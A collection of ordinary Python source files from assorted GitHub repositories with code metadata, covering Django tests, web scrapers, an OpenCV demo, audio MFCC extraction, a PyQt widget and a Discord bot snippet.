res2[0]\n        #pprint(string2)\n        return string2", "repo_name": "parrot88/Japanese-google-play-store-review-daily-logging-cron-script", "sub_path": "func.py", "file_name": "func.py", "file_ext": "py", "file_size_in_byte": 1892, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "datetime.datetime.now", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "attribute"}, {"api_name": "urllib.request.request.Request", "line_number": 31, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 31, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 31, "usage_type": "name"}, {"api_name": "urllib.request.request.urlopen", "line_number": 32, "usage_type": "call"}, {"api_name": "urllib.request.request", "line_number": 32, "usage_type": "attribute"}, {"api_name": "urllib.request", "line_number": 32, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 39, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 43, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 51, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 54, "usage_type": "call"}]}
{"seq_id": "17339992262", "text": "# -*- coding:utf-8 -*-\r\nfrom django.test import TestCase, Client\r\n\r\nfrom .models import Student\r\n\r\n# Create your tests here.\r\n\r\n\r\nclass StudentTestCase(TestCase):\r\n    # setUp：用来初始化环境\r\n    # test_**：方法后面的**可以是任意东西，以test_开头的方法，会被认为是需要测试的方法，跑测试时会被执行，每个需要测试的方法是相互独立的\r\n    # tearDown: 跟setUp相对，用来清理测试环境和测试数据，在django中我们可以不关心这个\r\n    def setUp(self):\r\n        Student.objects.create(\r\n            name='张三test',\r\n            sex=1,\r\n            email='zhangsan@126.com',\r\n            profession='程序猿',\r\n            qq='12341234',\r\n            phone='1234'\r\n        )\r\n\r\n    # model层测试\r\n    def test_create_and_sex_show(self):\r\n        student = Student.objects.create(\r\n            name='张三test2',\r\n            sex=1,\r\n            email='zhangsan@126.com',\r\n            profession='IT',\r\n            qq='123',\r\n            phone='1234'\r\n        )\r\n        # self.assertEqual(student.sex_show, '男', '性别和展示内容不一致!')\r\n        # 对于配置了choices参数的字段，django提供了get_**_display的方法，增加的sex_show其实可以用get_sex_display来替换\r\n        self.assertEqual(student.get_sex_display(), '男', '性别和展示内容不一致!')\r\n\r\n    def test_filter(self):\r\n        student = Student.objects.create(\r\n            name='张三test3',\r\n            sex=1,\r\n            email='zhangsan@126.com',\r\n            profession='IT',\r\n            qq='123',\r\n            phone='1234234'\r\n        )\r\n        name = '张三test3'\r\n        students = Student.objects.filter(name=name)\r\n        self.assertEqual(students.count(), 1, '应该只存在一个名称为{0}的记录'.format(name))\r\n\r\n    # View层测试\r\n    def test_get_index(self):\r\n        # 测试首页的可用性\r\n        client = Client()\r\n        response = client.get('/')\r\n        self.assertEqual(response.status_code, 200, 'status code must be 200')\r\n\r\n    def test_post_student(self):\r\n        client = Client()\r\n        data = dict(\r\n            name='张三test4',\r\n            sex=1,\r\n            email='zhangsan@126.com',\r\n            profession='IT',\r\n            qq='2222',\r\n            phone='3333'\r\n        )\r\n        response = client.post('/', data)\r\n        self.assertEqual(response.status_code, 200, 'status code must be 302')\r\n        response = client.get('/')\r\n        print(response.content)\r\n        # self.assertTrue(b'test_for_post' in response.content, 'response content must contain \"test_for_post\"')\r\n        print(Student.objects.all())\r\n\r\n", "repo_name": "xuxin8911/djangoTraining", "sub_path": "djangoTraining/apps/student/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 2678, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.test.TestCase", "line_number": 9, "usage_type": "name"}, {"api_name": "models.Student.objects.create", "line_number": 14, "usage_type": "call"}, {"api_name": "models.Student.objects", "line_number": 14, "usage_type": "attribute"}, {"api_name": "models.Student", "line_number": 14, "usage_type": "name"}, {"api_name": "models.Student.objects.create", "line_number": 25, "usage_type": "call"}, {"api_name": "models.Student.objects", "line_number": 25, "usage_type": "attribute"}, {"api_name": "models.Student", "line_number": 25, "usage_type": "name"}, {"api_name": "models.Student.objects.create", "line_number": 38, "usage_type": "call"}, {"api_name": "models.Student.objects", "line_number": 38, "usage_type": "attribute"}, {"api_name": "models.Student", "line_number": 38, "usage_type": "name"}, {"api_name": "models.Student.objects.filter", "line_number": 47, "usage_type": "call"}, {"api_name": "models.Student.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "models.Student", "line_number": 47, "usage_type": "name"}, {"api_name": "django.test.Client", "line_number": 53, "usage_type": "call"}, {"api_name": "django.test.Client", "line_number": 58, "usage_type": "call"}, {"api_name": "models.Student.objects.all", "line_number": 72, "usage_type": "call"}, {"api_name": "models.Student.objects", "line_number": 72, "usage_type": "attribute"}, {"api_name": "models.Student", "line_number": 72, "usage_type": "name"}]}
{"seq_id": "9636200795", "text": "import os\n\nimport requests\nimport os.path as op\nimport os\n\n\nclass YaUploader:\n    def __init__(self, token: str):\n        self.token = token\n\n    def upload(self, file_path=None, file_url=None):\n        \"\"\"Метод загруджает файл file_path на яндекс диск\"\"\"\n\n        if file_path:\n            try:\n                response = requests.get(\n                    url='https://cloud-api.yandex.net/v1/disk/resources/upload',\n                    params={'path': op.basename(file_path), 'overwrite': 'true'},\n                    headers={'Authorization': 'OAuth ' + self.token}\n                )\n                response.raise_for_status()\n            except requests.RequestException as e:\n                print(e.response.status_code)\n                return False\n        elif file_url:\n            try:\n                response = requests.post(\n                    url='https://cloud-api.yandex.net/v1/disk/resources/upload',\n                    params={\n                        'path': op.join(os.getcwd(), 'photos/'),\n                        'url': file_url,\n                        'overwrite': 'true'},\n                    headers={'Authorization': 'OAuth ' + self.token}\n                )\n                response.raise_for_status()\n            except requests.RequestException as e:\n                print(e.response.status_code)\n                return False\n        else:\n            return False\n\n        data = response.json()\n        href = data['href']\n\n        try:\n            with open(file_path, 'rb') as f:\n                response = requests.put(href, files={'file': f})\n                response.raise_for_status()\n                return True\n        except FileNotFoundError:\n            print('Файл не найден')\n            return False\n        except requests.RequestException as e:\n            print(e.response.status_code)\n            return False\n", "repo_name": "smertin-nikita/CloudArchiver", "sub_path": "YaUploader.py", "file_name": "YaUploader.py", "file_ext": "py", "file_size_in_byte": 1905, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "requests.get", "line_number": 17, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 19, "usage_type": "call"}, {"api_name": "os.path", "line_number": 19, "usage_type": "name"}, {"api_name": "requests.RequestException", "line_number": 23, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 31, "usage_type": "call"}, {"api_name": "requests.RequestException", "line_number": 37, "usage_type": "attribute"}, {"api_name": "requests.put", "line_number": 48, "usage_type": "call"}, {"api_name": "requests.RequestException", "line_number": 54, "usage_type": "attribute"}]}
{"seq_id": "34366473774", "text": "# contous : line or curve which are the edges of the images, they are image object detection and they have the\n# other outer shape of image\n\nimport cv2 as cv\nimport numpy as np\nfrom numpy.core.defchararray import count\n\n\nimg = cv.imread('/home/som/Pictures/baby.png')\ncv.imshow('image', img)\nblank = np.zeros(img.shape, dtype='uint8')\ncv.imshow('blank_image ', blank)\n\ngray = cv.cvtColor(img, cv.COLOR_RGB2GRAY)\ncv.imshow('gray ', gray)\n\n\nblur = cv.GaussianBlur(gray, (5, 5), cv.BORDER_DEFAULT)\ncv.imshow('blur', blur)\n\ncanny = cv.Canny(blur, 125, 175)\nret, thresh = cv.threshold(gray, 125, 255, cv.THRESH_BINARY)\n\ncontours, hierarchies = cv.findContours(\n    canny, cv.RETR_LIST, cv.CHAIN_APPROX_SIMPLE)\ncv.imshow('canny', canny)\nprint(f'{len(contours)} this many countours found ')\n# RETR_LIST : all the contours of the image\n# RETR_EXTERNAL  : external edges only\n# RETR_TREE : all the hierarchial counters\n\n# contour approximation method\n# chain_approx_none : does nothing returns as python list only\n# chain_approx_simmple : takes all of those points and compresses it in 2 endpoints only\n# cv.threshold : takes in the threshold values if it's below the threshold 1 set's pixel value to 0 it it's above _threshhold_2 then sets to max possilble i.e 255\ncv.imshow('thresh', thresh)\n\n# drawing the countours on the draw images\ncv.drawContours(blank, contours, -1, (0, 0, 255), 1)\ncv.imshow('Counters_drawn ', blank)\n\n# thresh hold is lowly preferred canny is more prefered for finding the countours\n\n\ncv.waitKey(0)\n", "repo_name": "someshfengde/machine-learning-competitions-", "sub_path": "opencv/contous.py", "file_name": "contous.py", "file_ext": "py", "file_size_in_byte": 1517, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.imread", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 10, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 11, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 12, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 14, "usage_type": "call"}, {"api_name": "cv2.COLOR_RGB2GRAY", "line_number": 14, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 15, "usage_type": "call"}, {"api_name": "cv2.GaussianBlur", "line_number": 18, "usage_type": "call"}, {"api_name": "cv2.BORDER_DEFAULT", "line_number": 18, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 19, "usage_type": "call"}, {"api_name": "cv2.Canny", "line_number": 21, "usage_type": "call"}, {"api_name": "cv2.threshold", "line_number": 22, "usage_type": "call"}, {"api_name": "cv2.THRESH_BINARY", "line_number": 22, "usage_type": "attribute"}, {"api_name": "cv2.findContours", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.RETR_LIST", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.CHAIN_APPROX_SIMPLE", "line_number": 25, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.drawContours", "line_number": 39, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 40, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 45, "usage_type": "call"}]}
{"seq_id": "24379819103", "text": "import sys\nimport re\nimport hashlib\nimport pymongo\nsys.path.insert(0,r\"D:\\bmd\\bmd_server\")\nsys.path.insert(0,r\"D:\\bmd\\bmd_server\\spider_manage\\backend\\backend\\apps\\Crawler_page\\sdxy\")\n# from spiders.common import get_log,ABY\nfrom untils.common import get_log,ABY\nimport requests\nfrom lxml.etree import HTML\nfrom .XPATH import WaterCredit\nfrom datetime import datetime\nlog = get_log()\n\n\nMONGO_DB = pymongo.MongoClient(host='172.16.75.38',port=27017)\nSTATIC_IP = MONGO_DB[\"IP\"][\"STATIC_IP\"]\n\nclass basc_Spider(object):\n    def __init__(self,key,ApiType=None):\n\n        self.url = \"https://shuidi.cn/b-search?key={}\"\n        self.keys = key\n        self.s = requests.session()\n        self.s.headers.update({\n            \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36\"\n        })\n        self.proxy,self.ip_id = ABY()\n        self.sd_xpath = WaterCredit()\n        self.ApiType = ApiType\n\n    def get_req(self,url):\n\n        count = 1\n        while count:\n\n            # if proxy:\n            try:\n\n                resp = self.s.get(url=url,proxies=self.proxy)\n                # resp = self.s.get(url=url,timeout=10)\n                resp.encoding = resp.apparent_encoding\n                if resp.status_code == 200:\n                    if \"请输入你的验证码\" in resp.text:\n\n                        self.proxy,self.ip_id = ABY()\n                        STATIC_IP.update_one({\"_id\":self.ip_id},{\"flag\":\"1\"})\n                    else:\n                        return resp\n\n            except Exception as e:\n\n                count += 1\n                self.proxy,self.ip_id = ABY()\n                if self.proxy or count > 3:\n                    return \"IP无效\"\n            # else:\n            #     return \"IP无效\"\n\n    def gsxx(self,resp):\n        \"\"\"\n        解析工商信息\n        :return:\n        \"\"\"\n        gsxx = self.sd_xpath.gsxx(HTML(resp))\n        return gsxx\n\n    def gdxx(self,resp):\n        \"\"\"\n        解析股东信息\n        :return:\n        \"\"\"\n        gsxx = self.sd_xpath.gdxx(HTML(resp))\n        return gsxx\n\n    def base_first_page(self, items, resp,url):\n        \"\"\"\n        解析首页信息\n        :param items:\n        :param resp:\n        :return:\n        \"\"\"\n\n        etre = HTML(resp)\n        lawDangerous = {}\n        # _id 公司名称 联系电话 联系人 公司地址 公司所在城市 网站信息更新时间 经营状态 信息抓取入库时间 来源网址 来源网站\n        items[\"_id\"] = hashlib.md5(str(self.keys).encode('utf-8')).hexdigest()\n        items[\"companyName\"] = self.keys\n        items.update({\"companyTel\":\"-\"})\n        items.update({\"outName\":\"-\"})\n        items[\"companyAddr\"] = \"\".join(etre.xpath('//table[@class=\"table1\"]//td[contains(text(),\"企业地址\")]/following-sibling::td[1]/text()'))\n        items.update({\"companyCity\": \"-\"})\n        items[\"companyProvince\"] = \"\".join(etre.xpath('//table[@class=\"table1\"]//tr[6]/td[2]/text()'))\n        items[\"updateTime\"] = \"\".join(etre.xpath('//div[@class=\"pull_left update_time\"]/text()')).replace(\"\\n\",\"\").replace(\" \",\"\")\n        items[\"businessState\"] = \"\".join(etre.xpath('//table[@class=\"table1\"]//td[contains(text(),\"登记状态\")]/following-sibling::td[1]/text()'))\n        items[\"collectTime\"] = str(datetime.now())\n        items[\"companyUrl\"] = url\n        items[\"webSource\"] = \"https://shuidi.cn/\"\n\n        base = {}\n        #基本工商信息\n        gsxx = self.gsxx(resp)\n        base[\"baseInfo\"] = gsxx\n        items[\"base\"] = base\n\n    def start(self):\n        try:\n            url = self.url.format(self.keys)\n            resp = self.get_req(url)\n            if resp != 'IP无效':\n                resp.encoding = \"UTF-8\"\n                etre = HTML(resp.text)\n                urls = etre.xpath('//a[@class=\"or_look\"]/@href')\n                name = etre.xpath('//div[@class=\"or_look_tit\"]/span/a/@companyname')\n                if urls and name:\n                    #指定抓取\n                    if name[0] == self.keys:\n                        items = {}\n                        if self.ApiType == \"基本信息查询\" or self.ApiType == '股东信息查询':\n                            url = \"https://shuidi.cn\" + urls[0]\n                            resp = self.get_req(url)\n                            resp.encoding = \"UTF-8\"\n                            if  self.ApiType == \"基本信息查询\":\n                                self.base_first_page(items, resp.text, url)\n                            elif self.ApiType == '股东信息查询':\n                                gdxx = self.gdxx(resp.text)\n                                items[\"holderInfo\"] = gdxx\n                        return items\n                    else:\n                        log.info(\"公司名不匹配\")\n                        result = \"公司名不匹配\"\n                        return result\n                else:\n                    if urls == []:\n                        log.info(\"页面为空\")\n                        return \"页面为空\"\n\n                    if re.search('点我验证身份',resp.text):\n                        log.info(\"IP无效\")\n                        return \"IP无效\"\n                    else:\n                        log.info(\"未搜索到公司\")\n                        result = \"未搜索到公司\"\n                        return result\n            else:\n                return \"IP无效\"\n        except Exception as E:\n            log.info(E)\n\ndef basc_start(key,ApiType=None):\n    \"\"\"\n    程序入口\n    :return:\n    \"\"\"\n    RUN = basc_Spider(key,ApiType)\n    results = RUN.start()\n\n    if results == \"未搜索到公司\":\n        return \"未搜索到公司\"\n\n    elif results == \"公司名不匹配\":\n        return \"公司名不匹配\"\n\n    elif results == \"IP无效\":\n        return \"IP无效\"\n\n    elif results == \"页面为空\":\n        return \"页面为空\"\n    else:\n        print(results)\n        return results\n\n\n# run(key=\"华为技术有限公司\")\n", "repo_name": "yangwen1997/code", "sub_path": "backend/backend/apps/Crawler_page/sdxy/basic_nfo.py", "file_name": "basic_nfo.py", "file_ext": "py", "file_size_in_byte": 6009, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 5, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.path.insert", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "sys.path.insert", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 6, "usage_type": "attribute"}, {"api_name": "untils.common.get_log", "line_number": 13, "usage_type": "call"}, {"api_name": "pymongo.MongoClient", "line_number": 16, "usage_type": "call"}, {"api_name": "requests.session", "line_number": 24, "usage_type": "call"}, {"api_name": "untils.common.ABY", "line_number": 28, "usage_type": "call"}, {"api_name": "XPATH.WaterCredit", "line_number": 29, "usage_type": "call"}, {"api_name": "untils.common.ABY", "line_number": 46, "usage_type": "call"}, {"api_name": "untils.common.ABY", "line_number": 54, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 65, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 73, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 84, "usage_type": "call"}, {"api_name": "hashlib.md5", "line_number": 87, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 96, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 96, "usage_type": "name"}, {"api_name": "lxml.etree.HTML", "line_number": 112, "usage_type": "call"}, {"api_name": "re.search", "line_number": 138, "usage_type": "call"}]}
{"seq_id": "72209976265", "text": "from selenium import webdriver\nimport csv\n\n\ndef pld(y, m, d):\n    if m in big_month:\n        d += 1\n        if d == 32:\n            d = 1\n            m += 1\n    elif m != 2:\n        d += 1\n        if d == 31:\n            d = 1\n            m += 1\n    else:\n        rn = [1952, 1956, 1960, 1964, 1968, 1972, 1976, 1980, 1984, 1988, 1992, 1996, 2000, 2004, 2008, 2012, 2016, 2020]\n        if y not in rn:\n            d += 1\n            if d == 29:\n                d = 1\n                m += 1\n        else:\n            d += 1\n            if d == 30:\n                d = 1\n                m += 1\n\n    if m == 13:\n        m = 1\n        y += 1\n        d = 1\n    return y, m, d\n\n\ndef spider(driver, base_url, year, month, date):\n    url = base_url + str(year) + '-' + str(month) + '-' + str(date)\n    driver.get(url)\n    driver.implicitly_wait(50)\n    r_list = driver.find_elements_by_xpath('//div[@class=\"observation-table\"]//tbody/tr')\n    for r in r_list:\n        day = str(year) + '-' + str(month) + '-' + str(date)\n        # Time\n        tm = r.find_element_by_xpath('./td[1]').text\n        # Temperature\n        temperature = r.find_element_by_xpath('./td[2]').text\n        # dew point\n        dew_point = r.find_element_by_xpath('./td[3]').text\n        # humidity\n        humidity = r.find_element_by_xpath('./td[4]').text\n        # wind\n        wind = r.find_element_by_xpath('./td[5]').text\n        # wind speed\n        wind_speed = r.find_element_by_xpath('./td[6]').text\n        # pressure\n        pressure = r.find_element_by_xpath('./td[8]').text\n\n        print([day, tm, temperature, dew_point, humidity, wind, wind_speed, pressure])\n\n        with open(\"./info.csv\", 'a', newline=\"\", encoding=\"utf-8\") as f:\n            writer = csv.writer(f)\n            L = [day, tm, temperature, dew_point, humidity, wind, wind_speed, pressure]\n            writer.writerow(L)\n\n\noption = webdriver.ChromeOptions()\noption.add_argument(\"headless\")\ndriver = webdriver.Chrome(chrome_options=option)\nbase_url = 'https://www.wunderground.com/history/daily/cn/shenzhen/ZGSZ/date/'\nbig_month = [1, 3, 5, 7, 8, 10, 12]\nstart_year = int(input(\"请输入开始年份：\"))\nstart_month = int(input(\"请输入月份：\"))\nstart_date = int(input(\"请输入日期：\"))\nend_year = int(input(\"请输入结束年份：\"))\nend_month = int(input(\"请输入月份：\"))\nend_date = int(input(\"请输入日期：\"))\nstart = [start_year, start_month, start_date]\nend = [end_year, end_month, end_date]\nyear = start[0]\nmonth = start[1]\ndate = start[2]\n\nflag = 1\nwhile flag == 1:\n    print('正在爬取：', year, month, date)\n    spider(driver, base_url, year, month, date)\n    year, month, date = pld(year, month, date)\n    if [year, month, date] == end:\n        flag = 0\n\ndriver.close()", "repo_name": "haoen110/FullStackPython", "sub_path": "02.Python/08.Spider/weather/w1.py", "file_name": "w1.py", "file_ext": "py", "file_size_in_byte": 2756, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "csv.writer", "line_number": 61, "usage_type": "call"}, {"api_name": "selenium.webdriver.ChromeOptions", "line_number": 66, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 66, "usage_type": "name"}, {"api_name": "selenium.webdriver.Chrome", "line_number": 68, "usage_type": "call"}, {"api_name": "selenium.webdriver", "line_number": 68, "usage_type": "name"}]}
{"seq_id": "30085414099", "text": "import matplotlib.pyplot as plt\nimport librosa.display\nimport librosa\nimport sklearn\nimport numpy as np\n\ndata_path = '/Users/tim/Desktop/Alert_Noises.wav'\n#Extract samples and sample rate\nsamples, sample_rate = librosa.load(data_path, sr=8000)\n\n#Samples and sample_rate must have the same dimensions --> reduce dimension of samples to 16000\nsamples = librosa.resample(samples,len(samples),8000)\n\n#Extract mfcc data from samples\nmfcc = librosa.feature.mfcc(samples.astype(float),sr=len(samples))\n\n#Plot a mfcc diagram\nplt.figure(figsize=(10, 4))\nlibrosa.display.specshow(mfcc, x_axis='time')\nplt.colorbar()\nplt.title('MFCC from:'+ data_path)\nplt.tight_layout()\nplt.show()\n\nprint(mfcc)\n\n#Normalization\ntest_norm = sklearn.preprocessing.normalize(mfcc)\nprint(\"Orginal --> Max: \", np.amax(mfcc), \"Min: \", np.amin(mfcc))\nprint(\"Norm. --> Max: \", np.amax(test_norm), \"Min: \", np.amin(test_norm))\nprint(test_norm)", "repo_name": "timdietereberhardt/bachelor_thesis_Speech-Recognition-System-for-Technical-Domains", "sub_path": "python_scripts/Create_mfcc.py", "file_name": "Create_mfcc.py", "file_ext": "py", "file_size_in_byte": 906, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "librosa.load", "line_number": 9, "usage_type": "call"}, {"api_name": "librosa.resample", "line_number": 12, "usage_type": "call"}, {"api_name": "librosa.feature.mfcc", "line_number": 15, "usage_type": "call"}, {"api_name": "librosa.feature", "line_number": 15, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 18, "usage_type": "name"}, {"api_name": "librosa.display.specshow", "line_number": 19, "usage_type": "call"}, {"api_name": "librosa.display", "line_number": 19, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.colorbar", "line_number": 20, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 20, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.tight_layout", "line_number": 22, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 22, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 23, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 23, "usage_type": "name"}, {"api_name": "sklearn.preprocessing.normalize", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.amax", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.amax", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.amin", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "23514951998", "text": "from rest_framework import serializers\n\nfrom .models import Article\n\n\nclass ArticleSerializer(serializers.ModelSerializer):\n    image = serializers.ImageField(\n        required=False,\n        allow_empty_file=False,\n        use_url=False,\n    )\n\n    class Meta:\n        model = Article\n        fields = [\n            'id',\n            'title',\n            'author_info',\n            'article_url',\n            'content',\n            'image',\n        ]", "repo_name": "dangerousmonk/bigBrothers-bigSisters-backend", "sub_path": "bbbs/articles/serializers.py", "file_name": "serializers.py", "file_ext": "py", "file_size_in_byte": 451, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "rest_framework.serializers.ModelSerializer", "line_number": 6, "usage_type": "attribute"}, {"api_name": "rest_framework.serializers", "line_number": 6, "usage_type": "name"}, {"api_name": "rest_framework.serializers.ImageField", "line_number": 7, "usage_type": "call"}, {"api_name": "rest_framework.serializers", "line_number": 7, "usage_type": "name"}, {"api_name": "models.Article", "line_number": 14, "usage_type": "name"}]}
{"seq_id": "700981210", "text": "from PyQt5.QtWidgets import QApplication, QLineEdit, QMainWindow, QHBoxLayout, QWidget\r\nfrom PyQt5.QtCore import Qt\r\nimport sys\r\n\r\nclass CustomLineEdit(QLineEdit):\r\n    def __init__(self, parent=None):\r\n        super().__init__(parent)\r\n        self.setReadOnly(True)\r\n    def mouseDoubleClickEvent(self, event):\r\n        super().mouseDoubleClickEvent(event)\r\n        self.setReadOnly(False)  # Enable editing when double-clicked\r\n        \r\n    def mousePressEvent(self, event):\r\n        self.setReadOnly(True)  # Set ReadOnly to True when clicked outside the line edit\r\n        super().mousePressEvent(event)\r\n\r\nif __name__ == '__main__':\r\n    app = QApplication(sys.argv)\r\n\r\n    mainWindow = QMainWindow()\r\n    centralWidget = QWidget(mainWindow)\r\n    layout = QHBoxLayout(centralWidget)\r\n\r\n    lineEdit = CustomLineEdit(centralWidget)  # Use CustomLineEdit instead of QLineEdit\r\n\r\n    layout.addWidget(lineEdit)\r\n    mainWindow.setCentralWidget(centralWidget)\r\n    mainWindow.show()\r\n\r\n    sys.exit(app.exec_())\r\n", "repo_name": "yuting-demo-code/PyQt-code", "sub_path": "CustomLineEditDoubleClick.py", "file_name": "CustomLineEditDoubleClick.py", "file_ext": "py", "file_size_in_byte": 1016, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PyQt5.QtWidgets.QLineEdit", "line_number": 5, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 18, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 20, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QWidget", "line_number": 21, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QHBoxLayout", "line_number": 22, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 30, "usage_type": "call"}]}
{"seq_id": "21318954265", "text": "import logging\nimport string\n\nfrom pymon import brain\n\nlog = logging.getLogger(__name__)\n\n\ndef create_md_link(url: string, text: string) -> string:\n    \"\"\"\n    Creates a markdown link.\n\n    :param url: the url to link to\n    :param text: the text to display\n    :return: the markdown link\n    \"\"\"\n    log.debug(f\"Creating markdown link from url ({url}) and text ({text}).\")\n    if url:\n        return f\"[{text}]({url})\"\n    return text\n\n\ndef migrate_v0_to_v1(queries: list, brain: brain.Brain):\n    \"\"\"\n    A legacy function for migrating JSON data to a SQLite databse.\n\n    :param queries: a list of queries\n    :param brain: the SQLite database connection\n    \"\"\"\n    for i, query in enumerate(queries):\n        if i != 0:\n            log.debug(f\"Migrating JSON query to SQLite database: {query}\")\n            query[\"authors\"] = query.get(\"credit\")\n            if query.get(\"resource\"):\n                query[\"resources\"] = [query.get(\"resource\")]\n            brain.add_query(**query)\n", "repo_name": "TheRenegadeCoder/pymon", "sub_path": "pymon/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 987, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "logging.getLogger", "line_number": 6, "usage_type": "call"}, {"api_name": "pymon.brain.Brain", "line_number": 23, "usage_type": "attribute"}, {"api_name": "pymon.brain", "line_number": 23, "usage_type": "name"}, {"api_name": "pymon.brain.add_query", "line_number": 36, "usage_type": "call"}, {"api_name": "pymon.brain", "line_number": 36, "usage_type": "name"}]}
{"seq_id": "22561669708", "text": "import discord\n\nintents = discord.Intents.default()\n\nclient = discord.Client(intents=intents)\n\n#起動時処理\n\n@client.event\nasync def on_ready():\n    for channel in client.get_all_channels():\n        print(\"----------\")\n        print(\"channel name:\" + str(channel.name))\n        print(\"channel ID:\" + str(channel.id))\n        print(\"----------\")\n\n# Botのトークンを指定（デベロッパーサイトで確認可能）\nclient.run(\"***********************************************\")\n", "repo_name": "EEprotocol/discordbot", "sub_path": "voice-in-out/channelsearcher.py", "file_name": "channelsearcher.py", "file_ext": "py", "file_size_in_byte": 490, "program_lang": "python", "lang": "ja", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.Intents.default", "line_number": 3, "usage_type": "call"}, {"api_name": "discord.Intents", "line_number": 3, "usage_type": "attribute"}, {"api_name": "discord.Client", "line_number": 5, "usage_type": "call"}]}
